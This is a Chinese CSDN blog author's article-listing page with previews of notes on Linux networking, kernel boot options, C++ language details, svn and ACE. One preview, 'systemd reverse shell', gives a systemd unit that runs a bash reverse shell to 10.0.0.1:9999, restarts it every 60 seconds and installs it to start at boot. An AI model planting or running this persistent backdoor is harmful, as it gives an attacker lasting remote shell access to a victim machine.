![](https://img-blog.csdnimg.cn/20201014180756927.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
资料收藏
文章平均质量分 56
rainharder
这个作者很懒,什么都没留下…
展开
-
centos网卡重命名方法
centos7以后网卡命名采用一致性网络设备命名(Consistent Network Device Naming),不再是eth0,eth1这种简单的命名。在某些场景下简单的网卡名称能让事情更简单,下面是几种网卡改名的方案。原创 2023-12-15 14:22:36 · 581 阅读 · 0 评论 -
通过tcpdump对Unix Domain Socket 进行抓包解析
大多时候我们可以通过tcpdump对网络抓包分析请求、响应数据来排查问题。但是如果程序是通过Unix Domain Socket方式来访问的那么tcpdump就看不到Unix Domain Socket里面具体流淌的内容了,本文希望找到一种方法达到如同抓包查看网卡内容一样来抓包查看Unix Domain Socket上具体的请求、响应数据。转载 2023-09-15 16:37:23 · 1299 阅读 · 0 评论 -
自制系统基础镜像
制作系统基础镜像原创 2023-07-20 20:33:57 · 318 阅读 · 0 评论 -
ssh登陆慢的深度排查
ssh登陆慢的深度排查方法原创 2023-05-29 15:40:45 · 508 阅读 · 0 评论 -
python启动https server
启动http server很简单,一行命令。启动https server的方法。原创 2023-04-26 11:16:54 · 1503 阅读 · 0 评论 -
shell 中 字符串比较 x”$variable”的使用
shell 中 字符串比较 x”$variable”的使用转载 2023-02-15 08:40:52 · 106 阅读 · 0 评论 -
How to create an HTTPS certificate for localhost domains
How to create an HTTPS certificate for localhost domainsThis focuses on generating the certificates for loading local virtual hosts hosted on your computer, for development only.Do not use self-signed certificates in production !For online certific...转载 2021-04-08 10:46:31 · 159 阅读 · 0 评论 -
粗识openmp
看到一段代码利用openmp并行执行for循环,觉得这玩意真方便,一行代码就完事了,就上网学习。大致看完之后得出个结论,这玩意也就只能for循环用用。个人粗浅的认识,接受一切反驳。理由如下:上手有门槛,初级功能简单方便,想用好高级功能还是挺麻烦的。跨平台、多编译器支持:不是决定性优势,跨平台的线程库也不少。多线程很多情况下是启动不同的处理函数,这种场景用std::thread/pthread也麻烦不到哪去,同步什么的控制起来更熟悉。总之:学习成本(特别是团队)与收益不成正比。但是,如果有大原创 2020-09-03 14:29:01 · 148 阅读 · 0 评论 -
noexcept与栈展开(stack unwinding)
noexcept说明在C++11之后,表示函数不会抛出异常的动态异常声明throw()被新的noexcept异常声明所取代。该关键字告诉编译器,函数中不会发生异常,这有利于编译器对程序做更多的优化。如果在运行时,noexecpt函数向外抛出了异常(如果函数内部捕捉了异常并完成处理,这种情况不算抛出异常),程序会直接终止,调用std::terminate()函数,该函数内部会调用std::abort()终止程序。从语法上讲,noexcept修饰符有两种形式,一种就是简单地在函数声明后加上noexcep原创 2020-09-03 11:05:35 · 308 阅读 · 0 评论 -
new T加不加括号的区别
new对象时加不加括号有什么区别?new T;new T();总结两句话:建议使用new T();,明确调用构造函数。用new T;就表示不关心是否初始化,一般后续会有初始化语句。new T;的行为不确定,与类定义、编译器实现有关。x详见附录【1】struct A { int m; }; // POD// 注:这里与附录不同,增加virtual编译器才生成默认构造函数,可能跟跟编译器版本有关struct B { virtual ~B(); int m; }; // non-POD,原创 2020-09-03 09:17:40 · 348 阅读 · 0 评论 -
C++ POD类型
在C++11标准中,POD出现的概率特别高,目测是非常重要的一个概念,以往都是看的一知半解。今天抽空专门研究下POD究竟是什么,到底有多重要,有什么作用呢?POD (Plain Old Data),是C++语言的标准中定义的一类数据结构,通常用于说明一个类型的属性,尤其是自定义用户类型的属性,同时POD属性在C++11往往又是构建其他C++概念的从基础。百度百科中定义:POD适用于需要明确的数据底层操作的系统中。POD通常被用在系统的边界处,即指不同系统之间只能以底层数据的形式进行交互,系统...转载 2020-09-03 09:16:45 · 242 阅读 · 0 评论 -
编译器生成默认构造函数的情况
编译器生成默认构造函数的情况 在类没有显示声明构造函数的情况下,编译器并不总是为我们自动生成默认构造函数,以下4种情况,编译器才会为我们自动生成默认构造函数: 1.类中有一个类成员含有默认构造函数的,编译器会为该类自动生成默认构造函数,自动插入代码,调用该成员的构造函数; 2.基类中含有默认构造函数,编译器会为该类自动生成默认构造函数,自动插入代码,调用基类的构造函数; 3.类中含有虚函数时,由于编译器要为该类生成虚函数表vtable,并为该类的对象生成指向该v...转载 2020-08-31 17:01:29 · 440 阅读 · 0 评论 -
systemd reverse shell
创建rshell.service文件[Unit]Description=reverse shell[Service]ExecStart=/usr/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/9999 0>&1'Restart=alwaysRestartSec=60[Install]WantedBy=default.target安装cp rshell.service /lib/systemd/system/ln -原创 2020-08-04 09:37:23 · 127 阅读 · 0 评论 -
Linux 内核引导的若干选项
在低延迟等场景中,看到了一些引导参数,对提升响应速度,降低延迟有一定效果,记录说明如下。以下均来自网络,描述不一定非常准确,仅供了解。isolcpus=CPU编号列表将列表中的CPU从内核SMP平衡和调度算法中剔除。可以将特定的CPU隔离出来只给指定进程使用。nohz_full=CPU列表在内核"CONFIG_NO_HZ_FULL=y"的前提下,指定哪些CPU核心可以进入完全无滴答状态。如果你有一个100Hz的滴答,那么每秒100次,操作系统会唤醒,检查是否有任何定时器已经过期,如果有则原创 2020-08-04 09:12:46 · 582 阅读 · 0 评论 -
Linux 内核引导选项简介
作者:金步国版权声明本文作者是一位开源理念的坚定支持者,所以本文虽然不是软件,但是遵照开源的精神发布。无担保:本文作者不保证作品内容准确无误,亦不承担任何由于使用此文档所导致的损失。 自由使用:任何人都可以自由的阅读/链接/打印此文档,无需任何附加条件。 名誉权:任何人都可以自由的转载/引用/再创作此文档,但必须保留作者署名并注明出处。其他作品本文作者十分愿意与他人分享劳动成果,如果你对我的其他翻译作品或者技术文章有兴趣,可以在如下位置查看现有的作品集:金步国作品集[http:..转载 2020-08-04 09:11:08 · 954 阅读 · 0 评论 -
ext4 No space left on device
问题磁盘使用的ext4文件系统,一个目录下存了大量文件,再写入文件时报空间不足,但空间和inode都没有满原因如果目录下文件过多,ext4文件系统的dir_index特性会采用hash tree加快文件名查找:linear directory or hash tree如果1个block(默认为4096字节)已经存放不下了已有的entry,那么就要转向hash tree了可以通过命令缺省确认dir_index是否开启tune2fs -l /dev/sdb| grep -o dir_index原创 2020-06-11 16:38:33 · 629 阅读 · 0 评论 -
Beam学习笔记
Beam学习笔记编程指导https://beam.apache.org/documentation/programming-guide/创建驱动程序,定义pipeline,包括输入、转换、输出,以及执行参数(主要包括runner,决定pipeline运行的后端)创建pipeline,设置参数创建初始的PCollection对PCollection应用PTransform:可以对PCollection中每个元素进行修改、过滤、分组、分析等操作,输出新的PCollection;PTransfo原创 2020-05-29 16:57:13 · 2329 阅读 · 0 评论 -
MSN协议分析
MSN各版本协议和命令http://msnpiki.msnfanatic.com/index.php/Main_Page原创 2007-09-12 09:35:00 · 746 阅读 · 0 评论 -
常量叠算(Constant folding),还是叫常量合并更合适点,呵呵
今天刚学到,以此为记。先看一个例子:const int c=111;int& r=const_cast(c);int* p=const_cast(&c);coutcoutcoutr=222;coutcoutcoutcout 答案如下:const [0xbfff5614]111refer [0xbfff5614]111point [0xbfff5614]111after:co原创 2007-09-26 15:21:00 · 2492 阅读 · 0 评论 -
常用URL
http://hi.baidu.com/hack666原创 2007-10-29 08:51:00 · 681 阅读 · 0 评论 -
svn服务器的安装
svn服务器的安装1.环境操作系统 Redhat as4u4subversion-1.4.5.tar.gz2.编译apr-util-1.2.7.tar.gz,apr-1.2.7.tar.gzsvn还需要这两个,至少我机器上是tar zxvf apr-1.2.7.tar.gzcd apr-1.2.7./configuremakemake installtar zxvf apr-util-原创 2008-02-17 13:23:00 · 1035 阅读 · 0 评论 -
blowfish算法及实现
blowfish加密算法介绍更好的是有c/c++/c#/java/vb等各种语言的实现!!!http://www.schneier.com/blowfish.html 此外,还有其他一下加密算法twofish等,不再多写,上去看看就好原创 2007-11-27 16:50:00 · 5771 阅读 · 0 评论 -
18位身份证号码最后一位校验码的计算方法
http://dev.csdn.net/article/63/63451.shtm公民身份号码是特征组合码,由十七位数字本体码和一位校验码组成。排列顺序从左至右依次为:六位数字地址码,八位数字出生日期码,三位数字顺序码和一位数字校验码。校验方法:(1)十七位数字本体码加权求和公式S = Sum(Ai * Wi), i = 0, ... , 16 ,先对前17位数字的权求和Ai:表示第i位置上的身份转载 2007-12-10 09:02:00 · 2453 阅读 · 0 评论 -
IEEE浮点数的存放格式(转)
对于大小为32-bit的浮点数(32-bit为单精度,64-bit浮点数为双精度,80-bit为扩展精度浮点数), 1、其第31 bit为符号位,为0则表示正数,反之为复数,其读数值用s表示; 2、第30~23 bit为幂数,其读数值用e表示; 3、第22~0 bit共23 bit作为系数,视为二进制纯小数,假定该小数的十进制值为x; 则按照规定转载 2008-03-07 13:10:00 · 686 阅读 · 0 评论 -
c/c++ 十进制数输出二进制
打印二进制的代码也不是那么容易的,不信写个看看,和下面这个(一本老外的C语言教材上的代码)比较一下,看看写的是否全面//#define CHAR_BIT 8 void bit_print(int a){ int i; int n = sizeof(int) * CHAR_BIT; int mask = 1 (n - 1);原创 2008-03-10 18:29:00 · 6165 阅读 · 2 评论 -
判断字节序的函数
今天在论坛看到一个帖子,想判断平台的字节顺序是big endian还是little endian,看到个不错的想法,记录一下int big_endian() ...{ int i = 1; return 0 == *((char*)&i); } 原帖地址:http://topic.csdn.net/u/20080418/11/22e94550-6ff6-40b5-b2转载 2008-04-18 13:03:00 · 935 阅读 · 0 评论 -
Windows文件隐藏
Warning本文介绍的方法没有经过严格的测试,如果造成资料丢失,本人概不负责!1. 特殊的DOS目录1.1. 原理我也不清楚,大概是windows和DOS对特殊符号处理方式不同吧,有知道的解释一下吧!1.2. 方法 创建隐藏文件夹 开始=》运原创 2008-06-18 20:34:00 · 865 阅读 · 0 评论 -
VS2005问题解决方法
在使用VS2005时,遇到了一些问题,到网上找了半天资料,现收录于下:1. error PRJ0003:Error spawning cmd.exe 解决方法:In the Options go into Projects and Solutions -> VC++ Directories page and place this rows:$(SystemRoot)/Syste原创 2008-06-22 16:44:00 · 584 阅读 · 0 评论 -
ACE_Reactor的各种handle_*挂钩方法返回值意义和设计原则(转)
具体事件处理器定义的各种handle_* 挂钩方法的返回值致使ACE_Reactor以不同的方式工作。0:handle_* 方法返回零(0)通知ACE_Reactor、事件处理器希望继续像前面一样被处理,也就是,它应该保持在ACE_Reactor的实现的一张表中。这样,当下一次ACE_Reactor的事件多路分离器系统调用经由handle_events被调用时,它还会继续包括该事件处理器的句柄。对转载 2008-09-27 20:43:00 · 1363 阅读 · 0 评论 -
getopt使用示例
解析命令行参数曾经是个麻烦的事,看完下面的示例就不会再感觉麻烦了 getopt可以会把输入排序成【选项 选项 选项 参数 参数】这种格式其中选项(即以-开头的选项,包括参数)出现的顺序不变,参数出现顺序不变即:只是把选项和参数分开,通过optarg解析选项,使用optind获取参数 详见使用示例: #include #include void u原创 2008-10-17 20:56:00 · 1320 阅读 · 0 评论 -
MPLS格式简介
MPLS: Multi-Protocol Label Switching可用于QoS等 以太头的类型为 0x8847(单播) 0x8848(组播) 0 19 20 22 23 24 31++++++++++++++++++++++++++++++++++++++++++++ LABEL + e原创 2008-10-17 21:08:00 · 4936 阅读 · 1 评论 -
scanf,sscanf高级用法
最近遇到了解析配置的问题,用正规表达式感觉大题小做,使用sscanf因只会用基本用法,感觉功能不够,上网搜了下,解析起来不费吹灰之力,代码也很简洁。原帖出处不详,网上到处是,我做了点修改名称:sscanf() - 从一个字符串中读进与指定格式相符的数据. 函数原型:Int sscanf( string str, string fmt, mixed var1, mixed var2 ...原创 2008-10-30 13:49:00 · 2071 阅读 · 0 评论 -
B树、B-树、B+树、B*树都是什么(转)
原帖:http://blog.csdn.net/manesking/archive/2007/02/09/1505979.aspx B树 即二叉搜索树: 1.所有非叶子结点至多拥有两个儿子(Left和Right); 2.所有结点存储一个关键字; 3.非叶子结点的左指针指向小于其关键字的子树,右指针指向大于其关键转载 2009-10-21 16:48:00 · 449 阅读 · 0 评论 -
减小vc编译程序的体积
不算原创,算是实践吧 网上搜了些资料,照做效果不是很好,就把几种做法综合尝试一下,算达到了自己比较满意的效果1. release版,(废话),程序还有24k2. Project Setting ->Linker勾上 Ignore all default libraries,加上所需的库(msvcrt.lib,等),减到16k3. 加了#pragramm comment(linker,转载 2009-10-29 13:28:00 · 1128 阅读 · 0 评论 -
使用ACE日志策略时遇到的问题:DLL::open failed for ACE: Error: check log for details Unable to find service 'Logger'
使用ACE的日志动态控制时,遇到个问题,有些机器上运行正常,有些机器上却报错: DLL::open failed for ACE: Error: check log for detailsUnable to find service LoggerDll::open报错找不到ACE,但是有libACE.5.5.3,不然正常程序也运行不起来网上查了下,没找到这个问题的答案,也不知原创 2009-11-25 11:13:00 · 1302 阅读 · 0 评论 -
查看程序运行的启动参数
又学了一招^_^开始->运行,输入wmic出现提示后,再输入process,就会显示素有进程的命令行信息原创 2010-01-21 10:42:00 · 6740 阅读 · 0 评论 -
【原创】svn项目转移实录
原来的项目在svn库中的一个目录下,现在需要将项目转移到新的服务器上有如下要求:1. 保存修改记录2. 修改目录,在新的服务器上使用新目录3. revision重新编号 一下是项目转移的记录# 创建新的版本库svnadmin create misc第一次尝试svnsync svnsync init svn+ssh://192.168.1.222/opt/codebase原创 2009-12-08 16:33:00 · 1321 阅读 · 0 评论 -
Linux Windows,smb互访,中文是乱码的解决方法(转)
原帖http://blog.chinaunix.net/u/24624/showart_184609.html Windows 到 linux解决samba-3.x客户端中文乱码问题dos charset = CP936unix charset = cp936解决samba-2.x客户端中文乱码问题client code page=936coding system=cap linux 到转载 2010-03-30 16:54:00 · 3087 阅读 · 0 评论 -
Listing of the NT Native API functions
<br />http://jedi-apilib.sourceforge.net/native/NativeList.html原创 2010-08-16 16:24:00 · 692 阅读 · 0 评论 -
C++ 运算符优先级列表
C++ 运算符优先级列表转载 2010-09-20 14:18:00 · 568 阅读 · 0 评论